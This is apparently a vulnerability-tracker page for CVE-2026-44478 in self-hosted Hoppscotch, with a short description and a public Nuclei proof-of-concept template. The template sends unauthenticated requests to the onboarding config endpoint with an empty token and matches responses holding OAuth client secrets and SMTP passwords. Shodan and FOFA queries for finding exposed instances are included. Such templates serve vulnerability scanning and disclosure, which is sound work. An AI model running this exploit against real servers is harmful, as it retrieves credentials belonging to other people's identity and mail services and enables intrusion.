CVE-2026-44478: Hoppscotch < 2026.4.0 - Onboarding Config Disclosure via Empty Recovery Token

2026-11-29 PoC Public

Description

Hoppscotch self-hosted backend versions 2025.7.0 through 2026.3.x can expose onboarding configuration when the stored recovery token is empty, as occurs after some environment-based setups. The unauthenticated GET /v1/onboarding/config?token= request then passes the empty-token comparison and returns configured authentication and mail settings.

Details

CVE
CVE-2026-44478 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-44478

info:
  name: Hoppscotch < 2026.4.0 - Onboarding Config Disclosure via Empty Recovery Token
  author: s4e-io
  severity: high
  description: |
    Hoppscotch self-hosted backend versions 2025.7.0 through 2026.3.x can expose onboarding configuration when the stored recovery token is empty, as occurs after some environment-based setups. The unauthenticated GET /v1/onboarding/config?token= request then passes the empty-token comparison and returns configured authentication and mail settings.
  impact: |
    An unauthenticated attacker can retrieve configured OAuth client secrets, SMTP credentials, and other infrastructure settings, potentially compromising connected identity providers or mail services.
  remediation: |
    Upgrade the Hoppscotch self-hosted backend to version 2026.4.0 or later and rotate any secrets exposed through this endpoint.
  reference:
    - https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-7c8p-hj4p-3q3f
    - https://github.com/hoppscotch/hoppscotch/commit/c4e1f02abf53659347532c05872754b585581016
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44478
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-44478
    epss-score: 0.01427
    epss-percentile: 0.73224
    cwe-id: CWE-284,CWE-287
  metadata:
    verified: true
    max-request: 4
    vendor: hoppscotch
    product: hoppscotch
    shodan-query: http.title:"Hoppscotch"
    fofa-query: title="Hoppscotch"
  tags: cve,cve2026,hoppscotch,exposure,unauth,auth-bypass

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/v1/onboarding/config"
      - "{{BaseURL}}/backend/v1/onboarding/config"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'regex("\"VITE_ALLOWED_AUTH_PROVIDERS\"\\s*:\\s*null", body)'
          - 'regex("\"MAILER_SMTP_ENABLE\"\\s*:\\s*null", body)'
          - 'regex("\"GITHUB_CLIENT_SECRET\"\\s*:\\s*null", body)'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/v1/onboarding/config?token="
      - "{{BaseURL}}/backend/v1/onboarding/config?token="

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"GOOGLE_CLIENT_SECRET\"", "\"MICROSOFT_TENANT\"", "\"MAILER_SMTP_PASSWORD\"")'
          - 'regex("\"VITE_ALLOWED_AUTH_PROVIDERS\"\\s*:\\s*\"(?:GOOGLE|GITHUB|MICROSOFT|EMAIL)(?:,(?:GOOGLE|GITHUB|MICROSOFT|EMAIL))*\"", body)'
          - 'regex("\"MAILER_SMTP_ENABLE\"\\s*:\\s*\"(?:true|false)\"", body)'
        condition: and
# digest: 490a0046304402201748a98a97320706add428cc3adf097b7a7ce91e1cd00345ca0db001551e7d5f022048cf55a5726144be67d39162319221e7a8e0c391122e813447bdc0542b21962c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life